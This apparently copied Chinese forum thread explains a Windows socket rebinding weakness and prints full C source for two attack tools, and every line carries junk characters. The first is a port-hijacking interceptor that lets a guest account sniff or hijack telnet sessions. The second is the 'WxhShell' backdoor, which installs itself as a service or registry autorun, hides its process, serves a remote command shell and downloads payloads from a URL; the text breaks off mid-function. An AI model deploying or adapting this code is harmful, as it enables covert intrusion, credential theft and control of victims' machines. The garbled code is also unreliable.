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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~y_TT5+ 3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KI-E=<zt  
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  saddr.sin_family = AF_INET; 9Q^>.^~^  
rcq(p (!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :r:5a(sq  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /%$'N$@f  
nBaY|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9HRYk13ae  
ai`fP{WlX  
  这意味着什么?意味着可以进行如下的攻击: ??aOr*%  
]Tf.KUm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D^04b< O<x  
eq "a)QB3m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t}qoIxy)  
@&S4j]rq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BGodrb1  
aQMET~A:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u\ytiGO*  
Up*p*(d3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R5r )01  
2 Nr j@q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Mm :6+  
e~ W35Y>A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d&w g\"E  
>72j,0=e  
  #include "|]'\4UdzQ  
  #include ]H[RY&GY  
  #include c*1t<OAS~  
  #include    R8c1~'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v~?d7p {  
  int main() ul?'kuYk  
  { fR~_5 pt7  
  WORD wVersionRequested; jLI(Z  
  DWORD ret;  ;B^G<  
  WSADATA wsaData; it ,i^32|  
  BOOL val; ,6}HAC $  
  SOCKADDR_IN saddr; z=N'evx~  
  SOCKADDR_IN scaddr; gPT-zul  
  int err; G=jdb@V/?  
  SOCKET s; f:B+R  
  SOCKET sc; yj `b-^$?  
  int caddsize;  KY!  
  HANDLE mt; c;&m}ImLe.  
  DWORD tid;   b DeHU$  
  wVersionRequested = MAKEWORD( 2, 2 ); !\}Dxt  
  err = WSAStartup( wVersionRequested, &wsaData ); ?#<Fxme  
  if ( err != 0 ) {  PQa {5"  
  printf("error!WSAStartup failed!\n"); ^IjKT  
  return -1; Zi|MWaA.f  
  } ,LSF@1|Fx  
  saddr.sin_family = AF_INET; hW~,Uqy  
   Z WL/AC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rG:IS=  
d8C?m*3 J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =V5<>5"M?  
  saddr.sin_port = htons(23); VSx[{yn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~x)Awdlu  
  { 6|V713\  
  printf("error!socket failed!\n"); H2BD5  
  return -1; U-QK   
  } jJQ6]ucwa  
  val = TRUE; s_hf,QH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m>x.4aO1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C;0H _  
  { <T)9mJYr  
  printf("error!setsockopt failed!\n"); c_~)#F%P  
  return -1; S:v]3G  
  } W#P)v{K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; IiHl"2+/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .>zXz%p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f>s3Q\+  
t4GG@`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i;s&;_0{  
  { DxdiXf[j  
  ret=GetLastError(); Wrf('  
  printf("error!bind failed!\n"); X~*1  
  return -1; {CG%$rh  
  } E y1mlW  
  listen(s,2); +;c)GNQ)6:  
  while(1) eGHxiC  
  { jutEb@nog  
  caddsize = sizeof(scaddr); 8)s}>:}  
  //接受连接请求 <.HX_z3l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8L`J](y  
  if(sc!=INVALID_SOCKET) qZ'&zB)  
  { !f2f gX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Wz)s#  
  if(mt==NULL) {u{n b3/jl  
  { tV%:sk^d  
  printf("Thread Creat Failed!\n"); 7m~.V[l1  
  break; ;{[&&qMwU  
  } 0-M.>fwZ=  
  } @d:TAwOI'  
  CloseHandle(mt); bgq/]fI}  
  } S@* lI2  
  closesocket(s); m X{_B!j^  
  WSACleanup(); as=Z_a:0N  
  return 0; -f@~{rK.L  
  }   9dn~nnd'n  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3B8\r}L  
  { FpN>T  
  SOCKET ss = (SOCKET)lpParam; = &jLwy  
  SOCKET sc; mlW0ptp  
  unsigned char buf[4096]; _^]2??V  
  SOCKADDR_IN saddr; hg[ob+"  
  long num; i%w[v_j  
  DWORD val; }c|)i,bL  
  DWORD ret; M6 l S2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M:K5r7Q!yv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VN6h:-&iY  
  saddr.sin_family = AF_INET; i,|2F9YH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (Qq;ySZ#  
  saddr.sin_port = htons(23); cc`+rD5I-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Qau\6p>^  
  { i E p{  
  printf("error!socket failed!\n"); WX<),u2@  
  return -1; MG6taOO!  
  } w6FtDl$  
  val = 100; J:WO %P=Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 12r]"?@|s  
  { Ot,eAiaX  
  ret = GetLastError(); |uL"/cMW7  
  return -1; L-SWs8  
  } h2~b%|Pv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <uq#smY  
  { L WwWxerZ  
  ret = GetLastError(); wP:ab  
  return -1; (NB\wJg $  
  } ~Psv[b=]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f-]5ZhM'  
  { Ujb7uho  
  printf("error!socket connect failed!\n"); sUl/9VKl  
  closesocket(sc); (.D|%P  
  closesocket(ss); i_<Uk8  
  return -1; 9qe<bds1  
  } U42B( ow  
  while(1) ZDffR: An  
  { Mzfuthq=@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8<#S:O4kA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )GgO=J:o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "WPFZw:9  
  num = recv(ss,buf,4096,0); ^R;Qa#=2  
  if(num>0) #21t8  
  send(sc,buf,num,0); uPZ<hG#K  
  else if(num==0) qC|$0  
  break; *21foBfqh  
  num = recv(sc,buf,4096,0); )2lzPK t  
  if(num>0) -`d9dJ dB  
  send(ss,buf,num,0); HzuB.B<  
  else if(num==0) 6xfG`7Az  
  break; bi =IIVlH  
  } @)hrj2Jw  
  closesocket(ss); 6B pm+}  
  closesocket(sc); cx_.+R  
  return 0 ; estDW1i)  
  } L~Hgf/%5  
)'pc1I  
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========================================================== !}[cY76_  
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下边附上一个代码,,WXhSHELL Gd= l{~  
d|~A>YZ  
========================================================== {\87]xJ  
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#include "stdafx.h" d7O\p(M1  
F| ib=_)3  
#include <stdio.h> [p 6#fG *  
#include <string.h> $ 2/T]  
#include <windows.h> =2BB ~\G+  
#include <winsock2.h> ku`bwS  
#include <winsvc.h> [+j39d.Q  
#include <urlmon.h> P0/B!8x  
lMcSe8LBQa  
#pragma comment (lib, "Ws2_32.lib") e.Y*=P}D  
#pragma comment (lib, "urlmon.lib") ":o1g5?  
K% Gbl#  
#define MAX_USER   100 // 最大客户端连接数 4 Ii@_r>  
#define BUF_SOCK   200 // sock buffer Aj22t   
#define KEY_BUFF   255 // 输入 buffer %s#`i$|z*n  
$!msav  
#define REBOOT     0   // 重启 N]p|c3D  
#define SHUTDOWN   1   // 关机 k*;2QED  
/G>reG,G  
#define DEF_PORT   5000 // 监听端口 A{7N#-h_  
0 CJ4]mYl  
#define REG_LEN     16   // 注册表键长度  W1@Q)i  
#define SVC_LEN     80   // NT服务名长度 V r0-/T  
JKFV7{ %Gl  
// 从dll定义API Gn ]%'lrg'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kZlRS^6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )~](qLSl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yk5T"# '+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]/d4o  
~'4:{xH  
// wxhshell配置信息 Wv   
struct WSCFG { 0shNwV1zF  
  int ws_port;         // 监听端口 6$'6x2,  
  char ws_passstr[REG_LEN]; // 口令 ;,z^!bD  
  int ws_autoins;       // 安装标记, 1=yes 0=no {,5=U@J  
  char ws_regname[REG_LEN]; // 注册表键名 v!;E1  
  char ws_svcname[REG_LEN]; // 服务名 KAg<s}gQJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dwc$?Bg,5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z {ntF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PAe2 hJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cZRLYOC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z?%j5G=4w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u+]v. Mt  
{PM)D [$i  
}; Bx&.Tj  
E(T6s^8  
// default Wxhshell configuration S?{|qlpy  
struct WSCFG wscfg={DEF_PORT,  *it(o  
    "xuhuanlingzhe", 5L<}u` 0J  
    1, Av*R(d=`  
    "Wxhshell", yaf&SR@7k{  
    "Wxhshell", Rk PY@>  
            "WxhShell Service", `d=$9Pi  
    "Wrsky Windows CmdShell Service", SnbH`\U"  
    "Please Input Your Password: ", lLHHuQpuj  
  1, ?ng?>!  
  "http://www.wrsky.com/wxhshell.exe", g<s[6yA  
  "Wxhshell.exe" Y2Mti- \  
    }; r*/Pyh  
/KEPPp  
// 消息定义模块 O.=~/!(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Jkt L|u:k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NDB]8C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VEd#LSh  
char *msg_ws_ext="\n\rExit."; $ 8w eh3p  
char *msg_ws_end="\n\rQuit."; ^(8 i` `V  
char *msg_ws_boot="\n\rReboot..."; 9`^VuC'  
char *msg_ws_poff="\n\rShutdown..."; 1!\!3xaV  
char *msg_ws_down="\n\rSave to "; l)z15e5X  
<Ebkb3_  
char *msg_ws_err="\n\rErr!"; UD*#!H  
char *msg_ws_ok="\n\rOK!"; d@"eWvnlZ  
+byw*Kk  
char ExeFile[MAX_PATH]; i{VjSWq  
int nUser = 0; w;' F;j~  
HANDLE handles[MAX_USER]; w\_NrsO!x  
int OsIsNt; <uL?7P  
1 X2oz  
SERVICE_STATUS       serviceStatus; R*TCoEKO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 44?5]C7  
)QTk5zt  
// 函数声明 "h7-nwm  
int Install(void); }QncTw0  
int Uninstall(void); ;FZ\PxN  
int DownloadFile(char *sURL, SOCKET wsh); S:vv*5  
int Boot(int flag); Rv q_Zsm  
void HideProc(void); /Fh"Gl^  
int GetOsVer(void); V{Idj\~Jh  
int Wxhshell(SOCKET wsl); q) /;|h  
void TalkWithClient(void *cs); ~<v.WP<:  
int CmdShell(SOCKET sock); 2k"a%#H8  
int StartFromService(void); =Mn! [  
int StartWxhshell(LPSTR lpCmdLine); 8t}=?:B+{  
P xpz7He  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v.6" <nT2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9qXHdpb#g"  
~uC4>+dk  
// 数据结构和表定义 r=L9x/r  
SERVICE_TABLE_ENTRY DispatchTable[] = ~JLqx/[|s  
{ bq[Q  
{wscfg.ws_svcname, NTServiceMain}, 83i%3[L  
{NULL, NULL} T,7Y7MzF  
}; -#gb {vj  
)r?i^D&4  
// 自我安装 4N$s vA  
int Install(void) ^ ?tAt3dMI  
{ :1Fm~'  
  char svExeFile[MAX_PATH]; ~g|e?$j  
  HKEY key; mZ/B:)_  
  strcpy(svExeFile,ExeFile); (= !_ 5l  
K:y q^T7  
// 如果是win9x系统,修改注册表设为自启动 Fa+PN9M`?.  
if(!OsIsNt) { p6Z]oL q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "mPa >`?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mnmwO(.  
  RegCloseKey(key); j~Gu;%tq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "E''ZBLO~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ljt1:@SN(  
  RegCloseKey(key); o=`9JKB~  
  return 0; C4 Wdt  
    } G=nFs)z  
  } M0]l!x#7  
} -|)[s[T~m  
else { qsk71L  
$}KYpSV  
// 如果是NT以上系统,安装为系统服务 4uftx1o   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e#nTp b  
if (schSCManager!=0) rM=Hd/ki5  
{ C>K/C!5?  
  SC_HANDLE schService = CreateService ItaJgtsV  
  ( :T{or-  
  schSCManager, *(>$4$9n  
  wscfg.ws_svcname, iMA)(ZS  
  wscfg.ws_svcdisp, &y(aByI y  
  SERVICE_ALL_ACCESS, O4E2)N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l&|{uk  
  SERVICE_AUTO_START, hYWWvJ)S  
  SERVICE_ERROR_NORMAL, $`=?Nb@@#  
  svExeFile, s lI)"+6  
  NULL, bs`/k&'  
  NULL, =VY4y]V  
  NULL, @B^'W'&C  
  NULL,  C|lMXp\*  
  NULL ):|)/ZiC'  
  ); >u/yp[Ky  
  if (schService!=0) 7J;.T%4 l  
  { '~2v/[<`}  
  CloseServiceHandle(schService); HkV/+ {;S~  
  CloseServiceHandle(schSCManager); )xK!i.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }>1E,3A:%G  
  strcat(svExeFile,wscfg.ws_svcname); C {,d4KG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j?mJ1J5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f7W=x6Z4  
  RegCloseKey(key); \c\=S  
  return 0; (\I =v".  
    } U^YPL,m1  
  } Hb$q}1+y  
  CloseServiceHandle(schSCManager); b;O+QRa  
} e5/_Vga  
} UetmO`qju  
^\6UTnS.  
return 1; ~k%\ LZ3s  
} .) GVb<w  
Wm,,OioK  
// 自我卸载 y5ExEXa  
int Uninstall(void) z7_./ksQ  
{ Y5opZ G  
  HKEY key; z[rB/ |2  
W9D)QIqbvW  
if(!OsIsNt) { i,HAXPi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P}I*SV0  
  RegDeleteValue(key,wscfg.ws_regname); Pn#Lymxh_a  
  RegCloseKey(key); k$2Y)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q4PXC$u  
  RegDeleteValue(key,wscfg.ws_regname); +W1rm$Q  
  RegCloseKey(key); gn%"dfm  
  return 0; q ^gEA5  
  } O(d'8`8  
} UGMdWq  
} nr^p H.  
else { LQjqwsuN{  
8dH|s#.4um  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x'qgpG}?]  
if (schSCManager!=0) \2`U$3Q  
{ <b\urtoJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /$=^0v +  
  if (schService!=0) fm* Hk57  
  { ]VME`]t`  
  if(DeleteService(schService)!=0) { %([c4el>\F  
  CloseServiceHandle(schService); [ZbK)L+_  
  CloseServiceHandle(schSCManager); a? kQ2<@g  
  return 0; uE$o4X  
  } P33E\O  
  CloseServiceHandle(schService); 2~<0<^j/]  
  } 9PAp*`J@kr  
  CloseServiceHandle(schSCManager); {JgN^R<5<f  
} L7-nPH  
} [oj"Tn(  
?q P }=nJ  
return 1; >`:+d'Jv0  
} +*V; f,  
qAS^5|(b[  
// 从指定url下载文件 ]`prDw'  
int DownloadFile(char *sURL, SOCKET wsh) [XXN0+ /  
{ lu_Gr=#O  
  HRESULT hr; tp<VOUa  
char seps[]= "/"; d eg>m?Y  
char *token; * 5n:+Tw(  
char *file; +mQSlEo  
char myURL[MAX_PATH]; 5[_8N{QC;  
char myFILE[MAX_PATH]; 5qy}~dQ  
Pcs@`&}7r  
strcpy(myURL,sURL); /Hmo!"W`  
  token=strtok(myURL,seps); T8-$[ 2  
  while(token!=NULL) o3=kF  
  { u*{ _WL[(  
    file=token; )^TQedF  
  token=strtok(NULL,seps); 9f\8oJQ  
  } Pc'?p  
QGd- 9UEA]  
GetCurrentDirectory(MAX_PATH,myFILE); F6p1 VFs  
strcat(myFILE, "\\"); w>u Z$/  
strcat(myFILE, file); 4:$>,D\  
  send(wsh,myFILE,strlen(myFILE),0); Q8y|:tb$Y  
send(wsh,"...",3,0); SK52.xXJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $4 Uy3C+6  
  if(hr==S_OK) $8k_M   
return 0; jm\#($gl=  
else tHbPd.^  
return 1; }eM<A$J  
Ib!rf:  
} x[UO1% _o-  
 c^s>  
// 系统电源模块 AF]!wUKxy  
int Boot(int flag) cg0 0t+  
{ )H)Udhz  
  HANDLE hToken; ?bAFYF0!I  
  TOKEN_PRIVILEGES tkp; (PcK(C!}=\  
1m;*fs  
  if(OsIsNt) { Y,btL'[W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u=o"^   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SzX~;pFM0  
    tkp.PrivilegeCount = 1; "H<#91^|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )C]&ui~1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9ox|.68q  
if(flag==REBOOT) { -WvgK"k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2Fgt)`{!  
  return 0; n~u3  
} 2 pa3}6P+  
else { %aBJ+V F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jUvA<r  
  return 0; @B[Cc`IN"  
} 86fK= G:>  
  } 917 0bmr  
  else { (0#F]""\e  
if(flag==REBOOT) { Q4Fq=kTE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cO+Xzd;838  
  return 0; ,GkW. vEU  
} "C.7;Rvkp>  
else { =yX&p:-&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \UqS -j|  
  return 0; ?4[Oh/]R  
} a`b zFu{  
} i4zV(  
z<%g #bo  
return 1; hr4ye`c j  
} 1Dya?}3  
^qGA!_  
// win9x进程隐藏模块 FaE#\Q  
void HideProc(void) N1N{Ol'  
{ n<<=sj$\!  
k l!?/M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !\-4gr?`!  
  if ( hKernel != NULL ) -9>LvLU  
  { PN"8 Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #CA%]*l*F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); daB l%a=  
    FreeLibrary(hKernel); /ggkb8<3  
  } + sywgb)  
l^ 0_> R  
return; +an^e'  
} QGr\I/Y  
^0~c 7`k`V  
// 获取操作系统版本 wY3|#P CDV  
int GetOsVer(void) [ .j]V-61  
{ 9 rTz N  
  OSVERSIONINFO winfo; 8wX+ZL: 9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~mK-8U4>K,  
  GetVersionEx(&winfo); j!x<QNNX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UW hn1N  
  return 1; s~LZOPN  
  else ZD)0P=%  
  return 0; 4@v1jJj  
} 6Lg!L odu  
#d Z/UM(u  
// 客户端句柄模块 E7gHi$  
int Wxhshell(SOCKET wsl) >+:r '  
{ ,@Fgr(?'`>  
  SOCKET wsh; \5'O.*pr  
  struct sockaddr_in client; #vj#! 1  
  DWORD myID; ?ds f@\  
\E$1lc  
  while(nUser<MAX_USER) N7*CP|?E  
{ ,!6M* |  
  int nSize=sizeof(client); |66m` <  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3(!/["@7  
  if(wsh==INVALID_SOCKET) return 1; cBifZv*l  
F0&~ ?2nG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ap]4QqU  
if(handles[nUser]==0) (Sth:{;  
  closesocket(wsh); sDLS*467  
else +_qh)HX  
  nUser++; S3u yn78hI  
  } !8xKf*y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K??1,I  
]alh_U  
  return 0; ^|wT_k\  
} ?"{QK:`  
99^AT*ByY  
// 关闭 socket M#OH Y *  
void CloseIt(SOCKET wsh) LthGZ|>  
{ CI,lkO|C  
closesocket(wsh); !|B3i_n  
nUser--; XtCoX\da  
ExitThread(0); /61by$E  
} F9MR5O"  
PzjaCp'  
// 客户端请求句柄 XwcMt r*  
void TalkWithClient(void *cs) su&t7rJ  
{ RCI4~q  
bE?'C h  
  SOCKET wsh=(SOCKET)cs; {3hqp*xl  
  char pwd[SVC_LEN]; ?VB#GJ0M9  
  char cmd[KEY_BUFF]; |GtY*|  
char chr[1]; |/VL35b  
int i,j; NZ>7dJ  
vYDSu.C@a  
  while (nUser < MAX_USER) { *=Doe2(!C  
Yx5J$!Ld  
if(wscfg.ws_passstr) { bFg*l$`5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :q^R `8;(t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P+h6!=nD7  
  //ZeroMemory(pwd,KEY_BUFF); -I ?z-?<D  
      i=0; BDy5J2<<7l  
  while(i<SVC_LEN) { %tV32l=  
.U9 R> #  
  // 设置超时 F?z<xL@  
  fd_set FdRead; a9=>r  
  struct timeval TimeOut; *(G&B\  
  FD_ZERO(&FdRead); Vo,[EVL  
  FD_SET(wsh,&FdRead); !tU'J"Zy  
  TimeOut.tv_sec=8; }f#_4ACaD  
  TimeOut.tv_usec=0; 3?2<W EYr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T"?Y5t`(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j$Nf%V 6Y  
~wOTjz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oV9z(!X/  
  pwd=chr[0]; xYI;V7  
  if(chr[0]==0xd || chr[0]==0xa) {  GP+2/D  
  pwd=0; :&qhJtGo  
  break; hGI+:Js6  
  } gWOt]D&#/  
  i++; jH>8bXQqZ  
    } r?p[3JJ;mG  
BC! 6O/kr  
  // 如果是非法用户,关闭 socket f#$|t>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6YmP[%  
} <~{du ?4n  
oQT2S>cm^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (wuaxo:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bb;(gK;F  
XA<ozq'  
while(1) { NvJV</l6 A  
eY,O@'"8`  
  ZeroMemory(cmd,KEY_BUFF); -\#lF?fzb  
+ZA)/  
      // 自动支持客户端 telnet标准   :et#0!  
  j=0; +q{[\#t5  
  while(j<KEY_BUFF) { gKo%(6{n~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j*400  
  cmd[j]=chr[0];  D!F 2l_  
  if(chr[0]==0xa || chr[0]==0xd) { B=n[)"5fBO  
  cmd[j]=0; !_~UvxM+  
  break; &|9.}Z8U  
  } Pbn!KX~F~  
  j++; h|bT)!|  
    } ; s|w{.<:  
=\};it{u  
  // 下载文件 '<dgT&8C  
  if(strstr(cmd,"http://")) { !'G~k+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $q_R?Eay  
  if(DownloadFile(cmd,wsh)) sOBu7!G%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 65TfFcQ<S  
  else 9Uf j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `~# < &w  
  } S`!-Cal`n  
  else { (JUZCP/\  
upy\gkpnGO  
    switch(cmd[0]) { Bv6 K$4  
  :E&g%'1  
  // 帮助 <S?#@F\"S  
  case '?': { i-" p)2d=#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X4|4QgY  
    break; !bnyJA  
  } ?6^|ZtB  
  // 安装 5jB* fIz  
  case 'i': { lIRlMLuG  
    if(Install()) E"~2./+rd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9X$ma/P[  
    else KNLnn;l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P"/G  
    break; u #w29Pm  
    } *Hz^K0:8(  
  // 卸载 kM8{C w  
  case 'r': { <h-vjz  
    if(Uninstall()) <{5EdX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Ft0Ry<OL  
    else "VG+1r+]4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^(HUGl_  
    break; \%]I{  
    } %a+mk E  
  // 显示 wxhshell 所在路径 . mLK`c6  
  case 'p': { 5,-U.B}  
    char svExeFile[MAX_PATH]; ^T"vX  
    strcpy(svExeFile,"\n\r"); KGH/^!u+R  
      strcat(svExeFile,ExeFile); aI^/X {d  
        send(wsh,svExeFile,strlen(svExeFile),0); ZOCDA2e(j  
    break; '(bgs   
    } Ms~{9?  
  // 重启 CHrFM@CM  
  case 'b': { p2Zo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >Cw<BIF  
    if(Boot(REBOOT)) {M-YHX>*;g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lzu.)C@Amx  
    else { a,2'+Tlo  
    closesocket(wsh); S4=~`$eP  
    ExitThread(0); &wD;SMr<  
    } 1N7Kv4,  
    break; 91 =OF*w  
    } At7>V-f}  
  // 关机 P"B0_EuR<T  
  case 'd': { }:X*7 n(&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vn*tp bz  
    if(Boot(SHUTDOWN)) N"nd*?  
